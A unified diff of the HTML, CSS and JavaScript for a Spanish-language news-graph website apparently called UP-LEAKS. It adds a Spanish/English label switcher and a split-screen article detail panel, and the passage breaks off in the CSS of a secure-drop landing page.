<a href="climate.html?subtematica=cambio_climatico" class="overlay-button" data-i18n="cl_1">Cambio Climático</a>
|
<a href="climate.html?subtematica=cambio_climatico" class="overlay-button">Cambio Climático</a>
|
||||||
<a href="climate.html?subtematica=desastres_naturales" class="overlay-button" data-i18n="cl_2">Desastres Naturales</a>
|
<a href="climate.html?subtematica=desastres_naturales" class="overlay-button">Desastres Naturales</a>
|
||||||
<a href="climate.html?subtematica=conservacion" class="overlay-button" data-i18n="cl_3">Conservación</a>
|
<a href="climate.html?subtematica=conservacion" class="overlay-button">Conservación</a>
|
||||||
<a href="climate.html?subtematica=energia_renovable" class="overlay-button" data-i18n="cl_4">Energía Renovable</a>
|
<a href="climate.html?subtematica=energia_renovable" class="overlay-button">Energía Renovable</a>
|
||||||
<a href="climate.html?subtematica=contaminacion" class="overlay-button" data-i18n="cl_5">Escasez de agua</a>
|
<a href="climate.html?subtematica=contaminacion" class="overlay-button">Escasez de agua</a>
|
||||||
</div>
|
</div>
|
||||||
<div class="button-column">
|
<div class="button-column">
|
||||||
<a href="eco-corp.html?subtematica=economia_global" class="overlay-button" data-i18n="ec_1">Economía Global</a>
|
<a href="eco-corp.html?subtematica=economia_global" class="overlay-button">Economía Global</a>
|
||||||
<a href="eco-corp.html?subtematica=corporaciones_multinacionales" class="overlay-button" data-i18n="ec_2">Corporaciones Multinacionales</a>
|
<a href="eco-corp.html?subtematica=corporaciones_multinacionales" class="overlay-button">Corporaciones Multinacionales</a>
|
||||||
<a href="eco-corp.html?subtematica=comercio_internacional" class="overlay-button" data-i18n="ec_3">Comercio Internacional</a>
|
<a href="eco-corp.html?subtematica=comercio_internacional" class="overlay-button">Comercio Internacional</a>
|
||||||
<a href="eco-corp.html?subtematica=organismos_financieros" class="overlay-button" data-i18n="ec_4">Organismos Financieros</a>
|
<a href="eco-corp.html?subtematica=organismos_financieros" class="overlay-button">Organismos Financieros</a>
|
||||||
<a href="eco-corp.html?subtematica=desigualdad_economica" class="overlay-button" data-i18n="ec_5">Desigualdad Económica</a>
|
<a href="eco-corp.html?subtematica=desigualdad_economica" class="overlay-button">Desigualdad Económica</a>
|
||||||
</div>
|
</div>
|
||||||
<div class="button-column">
|
<div class="button-column">
|
||||||
<a href="popl-up.html?subtematica=sobrepoblacion" class="overlay-button" data-i18n="pu_1">Sobrepoblación</a>
|
<a href="popl-up.html?subtematica=sobrepoblacion" class="overlay-button">Sobrepoblación</a>
|
||||||
<a href="popl-up.html?subtematica=covid" class="overlay-button" data-i18n="pu_2">COVID</a>
|
<a href="popl-up.html?subtematica=covid" class="overlay-button">COVID</a>
|
||||||
<a href="popl-up.html?subtematica=migraciones" class="overlay-button" data-i18n="pu_3">Migraciones</a>
|
<a href="popl-up.html?subtematica=migraciones" class="overlay-button">Migraciones</a>
|
||||||
<a href="popl-up.html?subtematica=urbanizacion" class="overlay-button" data-i18n="pu_4">Urbanización</a>
|
<a href="popl-up.html?subtematica=urbanizacion" class="overlay-button">Urbanización</a>
|
||||||
<a href="popl-up.html?subtematica=distribucion_edad" class="overlay-button" data-i18n="pu_5">Despoblación rural</a>
|
<a href="popl-up.html?subtematica=distribucion_edad" class="overlay-button">Despoblaciòn rural</a>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</main>
|
</main>
|
||||||
|
|
||||||
<button id="sidebarToggle" data-i18n="toggle_sidebar">Mostrar panel</button>
|
<button id="sidebarToggle">Toggle Sidebar</button>
|
||||||
|
|
||||||
<footer>
|
<footer>
|
||||||
<p><a href="#">GitHub</a> | <a href="#">Telegram</a> | <a href="#">Email</a> | <a href="#" data-i18n="tor_site">Web de Tor</a></p>
|
<p><a href="#">GitHub</a> | <a href="#">Telegram</a> | <a href="#">Email</a> | <a href="#">Web de Tor</a></p>
|
||||||
</footer>
|
</footer>
|
||||||
|
|
||||||
<script>
|
|
||||||
(function () {
|
|
||||||
var I18N = {
|
|
||||||
es: {
|
|
||||||
nav_journalist: 'Periodistas', toggle_sidebar: 'Mostrar panel', tor_site: 'Web de Tor',
|
|
||||||
gw_1: 'Conflictos Internacionales', gw_2: 'Guerras Civiles', gw_3: 'Terrorismo', gw_4: 'Armas', gw_5: 'Alianzas Militares',
|
|
||||||
is_1: 'Inteligencia', is_2: 'Ciberseguridad', is_3: 'Espionaje', is_4: 'Seguridad Nacional', is_5: 'Contraterrorismo',
|
|
||||||
cl_1: 'Cambio Climático', cl_2: 'Desastres Naturales', cl_3: 'Conservación', cl_4: 'Energía Renovable', cl_5: 'Escasez de agua',
|
|
||||||
ec_1: 'Economía Global', ec_2: 'Corporaciones Multinacionales', ec_3: 'Comercio Internacional', ec_4: 'Organismos Financieros', ec_5: 'Desigualdad Económica',
|
|
||||||
pu_1: 'Sobrepoblación', pu_2: 'COVID', pu_3: 'Migraciones', pu_4: 'Urbanización', pu_5: 'Despoblación rural'
|
|
||||||
},
|
|
||||||
en: {
|
|
||||||
nav_journalist: 'Journalists', toggle_sidebar: 'Show panel', tor_site: 'Tor site',
|
|
||||||
gw_1: 'International Conflicts', gw_2: 'Civil Wars', gw_3: 'Terrorism', gw_4: 'Weapons', gw_5: 'Military Alliances',
|
|
||||||
is_1: 'Intelligence', is_2: 'Cybersecurity', is_3: 'Espionage', is_4: 'National Security', is_5: 'Counterterrorism',
|
|
||||||
cl_1: 'Climate Change', cl_2: 'Natural Disasters', cl_3: 'Conservation', cl_4: 'Renewable Energy', cl_5: 'Water Scarcity',
|
|
||||||
ec_1: 'Global Economy', ec_2: 'Multinational Corporations', ec_3: 'International Trade', ec_4: 'Financial Institutions', ec_5: 'Economic Inequality',
|
|
||||||
pu_1: 'Overpopulation', pu_2: 'COVID', pu_3: 'Migration', pu_4: 'Urbanization', pu_5: 'Rural Depopulation'
|
|
||||||
}
|
|
||||||
};
|
|
||||||
function apply(lang) {
|
|
||||||
var dict = I18N[lang] || I18N.es;
|
|
||||||
document.documentElement.lang = lang;
|
|
||||||
document.querySelectorAll('[data-i18n]').forEach(function (el) {
|
|
||||||
var k = el.getAttribute('data-i18n');
|
|
||||||
if (dict[k]) el.textContent = dict[k];
|
|
||||||
});
|
|
||||||
document.querySelectorAll('.lang-toggle button').forEach(function (b) {
|
|
||||||
b.setAttribute('aria-pressed', b.dataset.lang === lang ? 'true' : 'false');
|
|
||||||
});
|
|
||||||
try { localStorage.setItem('upl_lang', lang); } catch (e) {}
|
|
||||||
}
|
|
||||||
document.querySelectorAll('.lang-toggle button').forEach(function (b) {
|
|
||||||
b.addEventListener('click', function () { apply(b.dataset.lang); });
|
|
||||||
});
|
|
||||||
var saved = 'es';
|
|
||||||
try { saved = localStorage.getItem('upl_lang') || (navigator.language || 'es').slice(0, 2); } catch (e) {}
|
|
||||||
apply(I18N[saved] ? saved : 'es');
|
|
||||||
})();
|
|
||||||
</script>
|
|
||||||
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,10 @@
|
||||||
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face.
|
@font-face {
|
||||||
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en
|
font-family: "Retrolift";
|
||||||
fonts/ y anade aqui la regla con una ruta relativa. */
|
src: url("fonts/retrolift.woff2") format("woff2"),
|
||||||
|
url("fonts/retrolift.woff") format("woff");
|
||||||
|
font-weight: normal;
|
||||||
|
font-style: normal;
|
||||||
|
}
|
||||||
|
|
||||||
* {
|
* {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
|
|
@ -166,29 +170,6 @@ nav {
|
||||||
background: #ff6600;
|
background: #ff6600;
|
||||||
}
|
}
|
||||||
|
|
||||||
#sidebar select {
|
|
||||||
padding: 10px;
|
|
||||||
border: 2px solid #39ff14;
|
|
||||||
background: black;
|
|
||||||
color: #39ff14;
|
|
||||||
border-radius: 5px;
|
|
||||||
box-shadow: 0 0 15px 0 rgba(0, 0, 0, 0.2);
|
|
||||||
transition: box-shadow 0.3s ease;
|
|
||||||
appearance: none;
|
|
||||||
cursor: pointer;
|
|
||||||
font-family: 'Fira Code', monospace;
|
|
||||||
font-size: 0.85em;
|
|
||||||
}
|
|
||||||
#sidebar select:hover { box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.3); }
|
|
||||||
#sidebar select option { background: #0a0a0a; color: #39ff14; }
|
|
||||||
#sidebar .sim-val {
|
|
||||||
font-weight: bold;
|
|
||||||
color: #fff;
|
|
||||||
background: rgba(57,255,20,0.15);
|
|
||||||
border-radius: 3px;
|
|
||||||
padding: 0 4px;
|
|
||||||
}
|
|
||||||
|
|
||||||
footer {
|
footer {
|
||||||
width: 100%;
|
width: 100%;
|
||||||
background-color: #000000;
|
background-color: #000000;
|
||||||
|
|
@ -240,52 +221,57 @@ footer p {
|
||||||
to { opacity: 0; }
|
to { opacity: 0; }
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ===== Panel de detalle (split-screen) ===== */
|
/* ===== Añadidos para split-screen ===== */
|
||||||
main.split-screen { display: flex; height: 100vh; }
|
main.split-screen {
|
||||||
#graphPanel { flex: 1; position: relative; min-width: 0; transition: flex 0.3s ease; }
|
display: flex;
|
||||||
|
height: 100vh;
|
||||||
|
margin-left: 0; /* El sidebar está fijo encima */
|
||||||
|
}
|
||||||
|
|
||||||
|
#graphPanel {
|
||||||
|
width: 100%;
|
||||||
|
transition: width 0.3s ease;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
#detailPanel {
|
#detailPanel {
|
||||||
width: 0; max-width: 0; overflow: hidden;
|
width: 0;
|
||||||
transition: width 0.3s ease, max-width 0.3s ease;
|
overflow: hidden;
|
||||||
background: #0a0a0a; color: #fff;
|
transition: width 0.3s ease;
|
||||||
position: relative; z-index: 4;
|
|
||||||
box-shadow: inset 2px 0 10px rgba(0,0,0,0.6);
|
|
||||||
}
|
}
|
||||||
main.split-screen.show-detail #detailPanel { width: 50%; max-width: 50%; }
|
|
||||||
|
|
||||||
#closeDetail {
|
/* Al hacer click en un nodo */
|
||||||
position: absolute; top: 12px; left: 12px;
|
main.split-screen.show-detail #graphPanel {
|
||||||
background: rgba(0,0,0,0.85); border: 1px solid #39ff14;
|
width: 45%;
|
||||||
color: #39ff14; font-size: 1em; font-family: 'Fira Code', monospace;
|
|
||||||
cursor: pointer; border-radius: 4px; padding: 4px 12px; z-index: 10;
|
|
||||||
transition: background 0.2s;
|
|
||||||
}
|
}
|
||||||
#closeDetail:hover { background: rgba(57,255,20,0.15); }
|
main.split-screen.show-detail #detailPanel {
|
||||||
|
width: 50%;
|
||||||
#detailContent {
|
padding: 1em;
|
||||||
padding: 52px 18px 20px; overflow-y: auto;
|
|
||||||
height: 100%; box-sizing: border-box;
|
|
||||||
display: none; flex-direction: column;
|
|
||||||
}
|
}
|
||||||
main.split-screen.show-detail #detailContent { display: flex; }
|
|
||||||
|
|
||||||
.detail-meta { display: flex; justify-content: space-between; font-size: 0.72em; color: #39ff14; opacity: 0.75; margin-bottom: 6px; gap: 8px; }
|
/* Asegurar que el grafo ocupe todo su panel */
|
||||||
.detail-author { font-weight: bold; }
|
#graphPanel #intSecContainer {
|
||||||
.detail-date { text-align: right; white-space: nowrap; }
|
position: absolute;
|
||||||
.detail-title { font-size: 0.92em; color: #39ff14; margin: 0 0 12px; word-break: break-word; line-height: 1.3; }
|
top: 0; left: 0;
|
||||||
|
width: 100%; height: 100%;
|
||||||
.detail-relations { border-top: 1px solid rgba(57,255,20,0.25); border-bottom: 1px solid rgba(57,255,20,0.25); padding: 8px 0; margin-bottom: 14px; font-size: 0.78em; flex-shrink: 0; }
|
z-index: 2;
|
||||||
.relations-count { color: rgba(57,255,20,0.8); display: block; margin-bottom: 6px; }
|
}
|
||||||
.relations-nav { display: flex; align-items: center; gap: 6px; }
|
|
||||||
.relations-nav button { background: none; border: 1px solid #39ff14; color: #39ff14; cursor: pointer; padding: 3px 8px; border-radius: 3px; font-family: 'Fira Code', monospace; font-size: 0.85em; white-space: nowrap; transition: background 0.2s; }
|
/* Estilos del panel de detalle */
|
||||||
.relations-nav button:hover:not(:disabled) { background: rgba(57,255,20,0.12); }
|
#detailPanel {
|
||||||
.relations-nav button:disabled { opacity: 0.3; cursor: default; }
|
background: #101020;
|
||||||
#relationLabel { flex: 1; text-align: center; color: rgba(255,255,255,0.55); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 0.85em; }
|
color: #fff;
|
||||||
|
box-shadow: inset 1px 0 5px rgba(0,0,0,0.5);
|
||||||
.detail-body { flex: 1; overflow-y: auto; white-space: pre-wrap; line-height: 1.55; font-size: 0.78em; color: #e0e0e0; font-family: 'Fira Code', monospace; min-height: 0; }
|
}
|
||||||
.detail-img { width: 100%; max-height: 180px; object-fit: contain; margin-bottom: 12px; border: 1px solid rgba(57,255,20,0.3); border-radius: 3px; }
|
#detailPanel h2 {
|
||||||
#detailPanel .placeholder { color: rgba(255,255,255,0.3); font-style: italic; padding: 40px 20px; text-align: center; font-size: 0.85em; }
|
margin-bottom: .5em;
|
||||||
|
color: #39ff14;
|
||||||
@media (max-width: 768px) {
|
}
|
||||||
main.split-screen.show-detail #graphPanel { display: none; }
|
#detailPanel p {
|
||||||
main.split-screen.show-detail #detailPanel { width: 100%; max-width: 100%; }
|
line-height: 1.4;
|
||||||
|
margin-bottom: 1em;
|
||||||
|
}
|
||||||
|
#detailPanel .placeholder {
|
||||||
|
color: rgba(255,255,255,0.3);
|
||||||
|
font-style: italic;
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,10 +1,9 @@
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="es">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<title>Inteligencia y Seguridad</title>
|
<title>Inteligencia y Seguridad</title>
|
||||||
<link rel="stylesheet" href="int-sec.css">
|
<link rel="stylesheet" href="int-sec.css">
|
||||||
<link rel="stylesheet" href="sub-nav.css">
|
|
||||||
<!-- Fuentes de Google Fonts -->
|
<!-- Fuentes de Google Fonts -->
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||||
|
|
@ -12,77 +11,19 @@
|
||||||
|
|
||||||
<!-- Cargar D3.js -->
|
<!-- Cargar D3.js -->
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
||||||
<script type="importmap">
|
<!-- Cargar 3d-force-graph (incluye Three.js) -->
|
||||||
{ "imports": { "three": "https://esm.sh/three@0.179.0", "three/": "https://esm.sh/three@0.179.0/" } }
|
<script src="https://unpkg.com/3d-force-graph"></script>
|
||||||
</script>
|
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<nav class="top-nav">
|
<nav>
|
||||||
<div class="section-buttons">
|
<ul class="nav-links">
|
||||||
|
<li><a href="int-sec.html" class="int-sec">Inteligencia y Seguridad</a></li>
|
||||||
<div class="section-item">
|
</ul>
|
||||||
<a href="glob-war.html" class="section-btn glob-war-btn">GLOB-WAR</a>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="section-item current">
|
|
||||||
<a href="int-sec.html" class="section-btn int-sec-btn">INT-SEC <span class="dropdown-arrow">▾</span></a>
|
|
||||||
<div class="section-dropdown">
|
|
||||||
<a href="#" onclick="setSubtema('inteligencia');return false;">Inteligencia</a>
|
|
||||||
<a href="#" onclick="setSubtema('ciberseguridad');return false;">Ciberseguridad</a>
|
|
||||||
<a href="#" onclick="setSubtema('espionaje');return false;">Espionaje</a>
|
|
||||||
<a href="#" onclick="setSubtema('seguridad nacional');return false;">Seguridad Nacional</a>
|
|
||||||
<a href="#" onclick="setSubtema('contraterrorismo');return false;">Contraterrorismo</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="climate.html" class="section-btn climate-btn">CLIMATE</a>
|
|
||||||
</div>
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="eco-corp.html" class="section-btn eco-corp-btn">ECO-CORP</a>
|
|
||||||
</div>
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="popl-up.html" class="section-btn popl-up-btn">POPL-UP</a>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
</div>
|
|
||||||
</nav>
|
</nav>
|
||||||
|
|
||||||
<script>
|
|
||||||
function setSubtema(val) {
|
|
||||||
var sel = document.getElementById('param2');
|
|
||||||
if (sel) { sel.value = val; }
|
|
||||||
var form = document.getElementById('paramForm');
|
|
||||||
if (form) form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
|
|
||||||
}
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
/* ── Dropdown touch (móvil) ── */
|
|
||||||
var curr = document.querySelector('.section-item.current');
|
|
||||||
if (curr) {
|
|
||||||
curr.querySelector('.section-btn').addEventListener('touchend', function(e) {
|
|
||||||
e.preventDefault();
|
|
||||||
curr.classList.toggle('open');
|
|
||||||
});
|
|
||||||
document.addEventListener('touchend', function(e) {
|
|
||||||
if (!curr.contains(e.target)) curr.classList.remove('open');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
/* ── Sidebar: botón toggle visible en móvil ── */
|
|
||||||
var toggle = document.getElementById('sidebarToggle');
|
|
||||||
var sidebar = document.getElementById('sidebar');
|
|
||||||
if (toggle && sidebar) {
|
|
||||||
toggle.style.display = 'block';
|
|
||||||
toggle.addEventListener('click', function() {
|
|
||||||
sidebar.classList.toggle('active');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<main class="split-screen">
|
<main class="split-screen">
|
||||||
<!-- PANEL IZQUIERDO: el grafo -->
|
<!-- PANEL IZQUIERDO: el grafo -->
|
||||||
<div id="graphPanel" style="position:relative;">
|
<div id="graphPanel">
|
||||||
<button id="volverGrafoBtn">← Volver al grafo completo</button>
|
|
||||||
<div id="intSecContainer"></div>
|
<div id="intSecContainer"></div>
|
||||||
<div class="background">
|
<div class="background">
|
||||||
<img src="/images/flujos.jpg">
|
<img src="/images/flujos.jpg">
|
||||||
|
|
@ -102,23 +43,7 @@
|
||||||
|
|
||||||
<!-- PANEL DERECHO: detalle de la noticia -->
|
<!-- PANEL DERECHO: detalle de la noticia -->
|
||||||
<div id="detailPanel">
|
<div id="detailPanel">
|
||||||
<button id="closeDetail">✕ cerrar</button>
|
<p class="placeholder">Haz click en un nodo para ver aquí la noticia completa.</p>
|
||||||
<div id="detailContent">
|
|
||||||
<div class="detail-meta">
|
|
||||||
<span class="detail-author"></span>
|
|
||||||
<span class="detail-date"></span>
|
|
||||||
</div>
|
|
||||||
<h2 class="detail-title"></h2>
|
|
||||||
<div class="detail-relations">
|
|
||||||
<span class="relations-count"></span>
|
|
||||||
<div class="relations-nav">
|
|
||||||
<button id="prevRelation" disabled>← ant</button>
|
|
||||||
<span id="relationLabel"></span>
|
|
||||||
<button id="nextRelation" disabled>sig →</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div class="detail-body"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
</main>
|
</main>
|
||||||
|
|
||||||
|
|
@ -132,24 +57,16 @@
|
||||||
<input type="date" id="fecha_fin" name="fecha_fin">
|
<input type="date" id="fecha_fin" name="fecha_fin">
|
||||||
|
|
||||||
<label for="nodos">Nodos:</label>
|
<label for="nodos">Nodos:</label>
|
||||||
<input type="number" id="nodos" name="nodos" value="100" min="5" max="500">
|
<input type="number" id="nodos" name="nodos" value="100">
|
||||||
|
|
||||||
<label for="complejidad">% similitud: <span id="complejidadVal" class="sim-val">8</span></label>
|
<label for="complejidad">Complejidad:</label>
|
||||||
<input type="range" id="complejidad" name="complejidad" min="1" max="25" value="8"
|
<input type="range" id="complejidad" name="complejidad" min="1" max="40" value="20">
|
||||||
oninput="document.getElementById('complejidadVal').textContent = this.value">
|
|
||||||
|
|
||||||
<label for="param1">Palabra clave:</label>
|
<label for="param1">Búsqueda por palabra:</label>
|
||||||
<input type="text" id="param1" name="param1" placeholder="ej: CIA, GCHQ...">
|
<input type="text" id="param1" name="param1">
|
||||||
|
|
||||||
<label for="param2">Subtematica:</label>
|
<label for="param2">Búsqueda por temática personalizada:</label>
|
||||||
<select id="param2" name="param2">
|
<input type="text" id="param2" name="param2">
|
||||||
<option value="">— Todas —</option>
|
|
||||||
<option value="inteligencia">inteligencia</option>
|
|
||||||
<option value="seguridad nacional">seguridad nacional</option>
|
|
||||||
<option value="espionaje">espionaje</option>
|
|
||||||
<option value="ciberseguridad">ciberseguridad</option>
|
|
||||||
<option value="contraterrorismo">contraterrorismo</option>
|
|
||||||
</select>
|
|
||||||
|
|
||||||
<input type="submit" value="Aplicar">
|
<input type="submit" value="Aplicar">
|
||||||
</form>
|
</form>
|
||||||
|
|
@ -157,8 +74,16 @@
|
||||||
|
|
||||||
<button id="sidebarToggle">Toggle Sidebar</button>
|
<button id="sidebarToggle">Toggle Sidebar</button>
|
||||||
|
|
||||||
|
<footer>
|
||||||
|
<p>
|
||||||
|
<a href="#">GitHub</a> |
|
||||||
|
<a href="#">Telegram</a> |
|
||||||
|
<a href="#">Email</a> |
|
||||||
|
<a href="#">Web de Tor</a>
|
||||||
|
</p>
|
||||||
|
</footer>
|
||||||
|
|
||||||
<!-- Incluir tu script al final del body -->
|
<!-- Incluir tu script al final del body -->
|
||||||
<script src="semana-toggle.js"></script>
|
<script src="output_int_sec.js"></script>
|
||||||
<script type="module" src="output_int_sec.js"></script>
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|
|
||||||
|
|
@ -1,291 +1,66 @@
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="es">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<meta name="robots" content="noindex">
|
<title>Journalist Login</title>
|
||||||
<meta name="referrer" content="no-referrer">
|
<link rel="stylesheet" href="journalist.css">
|
||||||
<title>UP-LEAKS · Buzón seguro para fuentes y periodistas</title>
|
|
||||||
<style>
|
|
||||||
@font-face { font-family: 'Fira Code'; src: url('/fonts/fira-code-400.woff2') format('woff2'); font-weight: 400; font-display: swap; }
|
|
||||||
@font-face { font-family: 'Fira Code'; src: url('/fonts/fira-code-500.woff2') format('woff2'); font-weight: 500; font-display: swap; }
|
|
||||||
@font-face { font-family: 'Fira Code'; src: url('/fonts/fira-code-700.woff2') format('woff2'); font-weight: 700; font-display: swap; }
|
|
||||||
|
|
||||||
:root {
|
|
||||||
--neon: #39ff14; --neon-soft: #7dff5e; --neon-deep: #0e3a08;
|
|
||||||
--ink: #eafbe6; --muted: #9db89a; --faint: #5d7359;
|
|
||||||
--red: #ff3b3b; --line: rgba(57,255,20,.24); --line-hard: rgba(57,255,20,.45);
|
|
||||||
--mono: 'Fira Code', ui-monospace, Menlo, Consolas, monospace;
|
|
||||||
--glow: 0 0 10px rgba(57,255,20,.55);
|
|
||||||
}
|
|
||||||
* { box-sizing: border-box; margin: 0; }
|
|
||||||
html { scroll-behavior: smooth; }
|
|
||||||
body {
|
|
||||||
color: var(--ink); font-family: var(--mono); font-size: 15px; line-height: 1.65;
|
|
||||||
-webkit-font-smoothing: antialiased;
|
|
||||||
background:
|
|
||||||
linear-gradient(180deg, rgba(0,0,0,.90) 0%, rgba(2,10,2,.93) 40%, rgba(0,0,0,.96) 100%),
|
|
||||||
url('/images/flujos6.jpg') center top / cover fixed no-repeat;
|
|
||||||
}
|
|
||||||
a { color: var(--neon); text-decoration: none; }
|
|
||||||
.wrap { max-width: 900px; margin: 0 auto; padding: 0 22px; }
|
|
||||||
::selection { background: var(--neon); color: #000; }
|
|
||||||
|
|
||||||
/* ---------- buttons (acciones = botones reales) ---------- */
|
|
||||||
.btn {
|
|
||||||
display: inline-flex; align-items: center; gap: 9px; font-family: var(--mono); font-weight: 700;
|
|
||||||
font-size: 13.5px; letter-spacing: .05em; padding: 13px 26px; cursor: pointer;
|
|
||||||
border: 1.5px solid var(--neon); background: rgba(0,0,0,.35); color: var(--neon);
|
|
||||||
text-transform: uppercase; transition: background .18s, color .18s, box-shadow .18s, transform .1s;
|
|
||||||
}
|
|
||||||
.btn:hover { background: var(--neon); color: #000; box-shadow: 0 0 22px -3px rgba(57,255,20,.75); }
|
|
||||||
.btn:active { transform: translateY(1px); }
|
|
||||||
.btn-solid { background: var(--neon); color: #000; border-color: var(--neon); }
|
|
||||||
.btn-solid:hover { background: var(--neon-soft); border-color: var(--neon-soft); box-shadow: 0 0 26px -2px rgba(57,255,20,.85); }
|
|
||||||
.btn-ghost { border-color: var(--line-hard); color: var(--ink); background: rgba(0,0,0,.3); }
|
|
||||||
.btn-ghost:hover { border-color: var(--neon); color: var(--neon); background: rgba(0,0,0,.3); box-shadow: none; }
|
|
||||||
.btn-lg { font-size: 15px; padding: 16px 34px; }
|
|
||||||
|
|
||||||
/* ---------- top nav ---------- */
|
|
||||||
header.nav {
|
|
||||||
position: sticky; top: 0; z-index: 30; border-bottom: 1px solid var(--line);
|
|
||||||
background: rgba(0,0,0,.78); backdrop-filter: blur(10px);
|
|
||||||
}
|
|
||||||
.nav .wrap { display: flex; align-items: center; justify-content: space-between; height: 68px; gap: 12px; }
|
|
||||||
.brand { font-weight: 700; letter-spacing: .2em; font-size: 20px; }
|
|
||||||
.brand b { color: var(--neon); text-shadow: var(--glow); }
|
|
||||||
.nav-actions { display: flex; gap: 10px; }
|
|
||||||
.nav-actions .btn { padding: 9px 16px; font-size: 12px; }
|
|
||||||
|
|
||||||
/* ---------- hero ---------- */
|
|
||||||
.hero { position: relative; overflow: hidden; border-bottom: 1px solid var(--line); }
|
|
||||||
.hero::before {
|
|
||||||
content: ""; position: absolute; inset: 0; z-index: 0;
|
|
||||||
background: linear-gradient(115deg, rgba(0,0,0,.35) 0%, rgba(0,0,0,.72) 55%, rgba(2,12,2,.92) 100%),
|
|
||||||
url('/images/flujos6.jpg') center / cover no-repeat;
|
|
||||||
}
|
|
||||||
.hero::after {
|
|
||||||
content: ""; position: absolute; inset: 0; z-index: 1; pointer-events: none;
|
|
||||||
background: radial-gradient(120% 90% at 15% 10%, rgba(57,255,20,.16), transparent 55%);
|
|
||||||
}
|
|
||||||
.hero .wrap { position: relative; z-index: 2; padding: 84px 22px 74px; }
|
|
||||||
.chips { display: flex; flex-wrap: wrap; gap: 8px; margin-bottom: 26px; }
|
|
||||||
.chip {
|
|
||||||
font-size: 11px; letter-spacing: .12em; text-transform: uppercase; color: var(--neon);
|
|
||||||
border: 1px solid var(--line-hard); padding: 5px 12px; background: rgba(0,0,0,.4);
|
|
||||||
}
|
|
||||||
.chip::before { content: "● "; }
|
|
||||||
.hero h1 {
|
|
||||||
font-size: clamp(32px, 6vw, 58px); line-height: 1.06; font-weight: 700; letter-spacing: -.02em;
|
|
||||||
max-width: 16ch; text-wrap: balance; text-shadow: 0 2px 30px rgba(0,0,0,.6);
|
|
||||||
}
|
|
||||||
.hero h1 em { color: var(--neon); font-style: normal; text-shadow: var(--glow); }
|
|
||||||
.hero .lead { margin: 22px 0 34px; font-size: 17px; color: var(--ink); max-width: 60ch; opacity: .92; }
|
|
||||||
.hero .lead b { color: var(--neon); }
|
|
||||||
.hero .cta { display: flex; gap: 14px; flex-wrap: wrap; }
|
|
||||||
|
|
||||||
/* ---------- sections ---------- */
|
|
||||||
section.block { padding: 60px 0; }
|
|
||||||
.eyebrow { font-size: 12px; letter-spacing: .2em; text-transform: uppercase; color: var(--neon); margin-bottom: 10px; }
|
|
||||||
.block h2 { font-size: clamp(22px, 3.4vw, 30px); font-weight: 700; letter-spacing: -.01em; margin-bottom: 8px; text-wrap: balance; }
|
|
||||||
.block .sub { color: var(--muted); font-size: 15px; max-width: 62ch; }
|
|
||||||
|
|
||||||
/* security cards */
|
|
||||||
.cards { display: grid; grid-template-columns: repeat(3, 1fr); gap: 16px; margin-top: 34px; }
|
|
||||||
@media (max-width: 720px) { .cards { grid-template-columns: 1fr; } }
|
|
||||||
.card {
|
|
||||||
position: relative; border: 1px solid var(--line); background: rgba(4,10,4,.66);
|
|
||||||
backdrop-filter: blur(6px); padding: 26px 22px; overflow: hidden;
|
|
||||||
transition: border-color .2s, transform .2s, box-shadow .2s;
|
|
||||||
}
|
|
||||||
.card::before {
|
|
||||||
content: ""; position: absolute; left: 0; top: 0; height: 3px; width: 100%;
|
|
||||||
background: linear-gradient(90deg, var(--neon), transparent 70%);
|
|
||||||
}
|
|
||||||
.card:hover { border-color: var(--line-hard); transform: translateY(-4px); box-shadow: 0 18px 40px -22px rgba(57,255,20,.55); }
|
|
||||||
.card .num { font-size: 34px; font-weight: 700; color: var(--neon); line-height: 1; text-shadow: var(--glow); }
|
|
||||||
.card h3 { margin: 14px 0 8px; font-size: 18px; font-weight: 700; }
|
|
||||||
.card p { color: var(--muted); font-size: 14px; line-height: 1.6; }
|
|
||||||
.card code { color: var(--neon); background: rgba(0,0,0,.5); border: 1px solid var(--line); padding: 1px 6px; }
|
|
||||||
|
|
||||||
/* form */
|
|
||||||
